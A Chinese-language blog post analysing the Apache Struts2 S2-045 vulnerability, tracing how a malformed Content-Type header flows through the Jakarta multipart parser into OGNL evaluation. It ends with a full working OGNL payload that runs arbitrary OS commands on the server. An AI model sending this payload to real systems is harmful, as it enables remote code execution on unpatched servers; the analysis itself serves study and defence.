作者:lucifaer
作者博客:https://www.lucifaer.com/
S2-045,一个很经典的漏洞,和网上已经有的分析不同,我将整个漏洞的触发点和流程全都理了一遍,感觉收获良多,算是能自己说服自己的分析了。
Problem It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn’t valid an exception is thrown which is then used to display an error message to a user.
从漏洞简述中可以得知是struts在处理Content-Type
时如果获得未期预的值的话,将会爆出一个异常,在此异常的处理中可能会造成RCE。同时在漏洞的描述中可以得知Struts2在使用基于Jakarta Multipart
解析器来处理文件上传时,可能会造成RCE。
Jakarta Multipart
解析器在Struts2中存在于org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest
是默认组件之一,首先把这一点记录下来。
接下来看一下diff:
可以看到关键点在于首先判断validation
是否为空,若为空的话则跳过处理。可见关键点在于对于validation
的处理。
MultiPartRequestWrapper$MultiPartRequestWrapper:86 # 处理requests请求
JakartaMultiPartRequest$parse:67 # 处理上传请求,捕捉上传异常
JakartaMultiPartRequest$processUpload:91 # 解析请求
JakartaMultiPartRequest$parseRequest:147 # 创建请求报文解析器,解析上传请求
JakartaMultiPartRequest$createRequestContext # 实例化报文解析器
FileUploadBase$parseRequest:334 # 处理符合multipart/form-data的流数据
FileUploadBase$FileItemIteratorImpl:945 # 抛出ContentType错误的异常,并把错误的ContentType添加到报错信息中
JakartaMultiPartRequest$parse:68 # 处理文件上传异常
AbstractMultiPartRequest$buildErrorMessage:102 # 构建错误信息
LocalizedMessage$LocalizedMessage:35 # 构造函数赋值
FileUploadInterceptor$intercept:264 # 进入文件上传处理流程,处理文件上传报错信息
LocalizedTextUtil$findText:391 # 查找本地化文本消息
LocalizedTextUtil$findText:573 # 获取默认消息
# 以下为ognl表达式的提取与执行过程
LocalizedTextUtil$getDefaultMessage:729
TextParseUtil$translateVariables:44
TextParseUtil$translateVariables:122
TextParseUtil$translateVariables:166
TextParser$evaluate:11
OgnlTextParser$evaluate:10
根据diff所得结果,跟进validation
的执行流程,就如漏洞描述中所述,validation
的调用位于Struts2的FileUploadInterceptor
也就是处理文件上传的拦截器中。
跟进LocalizedTextUtil.findText
:
这边先不着急向下跟,首先看一下valueStack
的内容是什么:
通过键值关系从ActionContext
中返回ognl的堆栈结构,也就是说valueStack
和ognl的执行相关。
接下来跟进findText
方法,着重跟一下valueStack
,可以发现主要是以下方法调用到该值:
findMessage()
getMessage()
getDefaultMessage()
ReflectionProviderFactory.getInstance().getRealTarget()
先不管ReflectionProviderFactory.getInstance().getRealTarget()
,findMessage()
在执行过程中都会调用到getMessage()
,而在getMessage()
和getDefaultMessage()
中都存在buildMessageFormat()
方法,该方法用于消息的格式化,而格式化的消息是由TextParseUtil.translateVariables()
来生成的:
这里注意getMessage()
方法需要设置bundleName
这个参数,而这个参数是由aClass
赋值的,而在整个触发流程中aClass
是一个File
异常类,而这个类在Collections.java
中是找不到的,所以在执行过程中,所有的getMessage()
和findMessage()
都是返回null
的,也就是说,在整个流程中,只有getDefaultMessage()
会被触发。
跟一下这个TextParseUtil.translateVariables()
的具体实现:
可以看到首先对defaultMessage
进行ognl表达式的提取,之后执行ognl表达式。所以漏洞的触发点就找到了。且触发的关键是构造一个含有ognl表达式的defaultMessage
即:
网上很多文章并没有说该漏洞的触发流程是什么样的,只是在上面的关键点下了一个断向下调试,所以只是完成了对这个流程的调试而已,并没有完整的把这个漏洞说清楚的原因(浮躁的圈子= =)。
我记录一下我根据单元测试而找到触发流程的过程。
根据2.1的分析,我们现在知道只要调用了org.apache.struts2.interceptor.FileUploadInterceptor$intercept
且request
触发错误处理流程,且validation
不为空就可以触发ognl表达式的执行。所以首先我开始寻找哪里调用了intercept()
这个方法:
如上图红框的内容,我找到了针对于FileUploadInterceptor
的单元测试,在单元测试中详尽的描述了intercept()
的处理流程,跟进看一下我找到了一个有趣的单元测试testInvalidContentTypeMultipartRequest()
:
还记得我们的intercept
的处理流程么:
也就是说我们需要关心的只有MyFileupAction()与request的处理流程。
首先来看一下MyFileupAction()
是否是ValidationAware
接口的一个实例:
ok,是ValidationAware
一个实现,getAction()
方法将setAction()
设置的对象返回。接下来我们跟一下req
的处理流程:
-> createMultipartRequest(req, 2000)
-> new MultiPartRequestWrapper(jak, req, tempDir.getAbsolutePath(), new DefaultLocaleProvider())
-> this(multiPartRequest, request, saveDir, provider, false);
关键点在于multi.parse(request, saveDir);
根据调用栈,可以看到这里是调用了JakartaMultiPartRequest
实例的parse()
方法:
这里注意会捕获FileUploadException
异常。
接着跟进processUpload()
方法:
继续跟进:
首先看createRequestContext()
对于请求做了哪些处理:
返回了一个实例化的RequestContext()
,记住该实例有四个内置的方法:
接着跟进parseRequest()
:
跟进getItemIterator()
:
继续跟进:
这一段代码首先调用了RequestContext
实例的getContentType()
方法,该方法就像上面调用栈中所看到的一样,会返回请求的ContentType
字段,然后做一个存在性校验,校验ContentType
是否为空或并非以multipart
开头,如果上述条件成立,则抛出一个错误,并把错误的ContentType
加入到报错信息中。这里的InvalidContentTypeException
类是继承于FileUploadException
的,也就是说会抛出一个FileUploadException
的错误。
反过来看JakartaMultiPartRequest
的异常捕获逻辑:
很有意思,我们直接跟进buildErrorMessage
看一下:
可以看到在这里,我们将包含着我们可以自定义的ContentType
赋值给defaultMessage
回看2.1所说的漏洞触发点,这里就是我们发送请求将ognl传递到漏洞触发点的defaultMessage
:
拆分消息中的ognl表达式,并执行:
根据上面的分析,我们可以看到构造POC的关键是在发送的请求中构造一个含有ongl表达式的ContentType
。较为通用的一个poc如下:
"%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='open /Applications/Calculator.app').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
效果如下: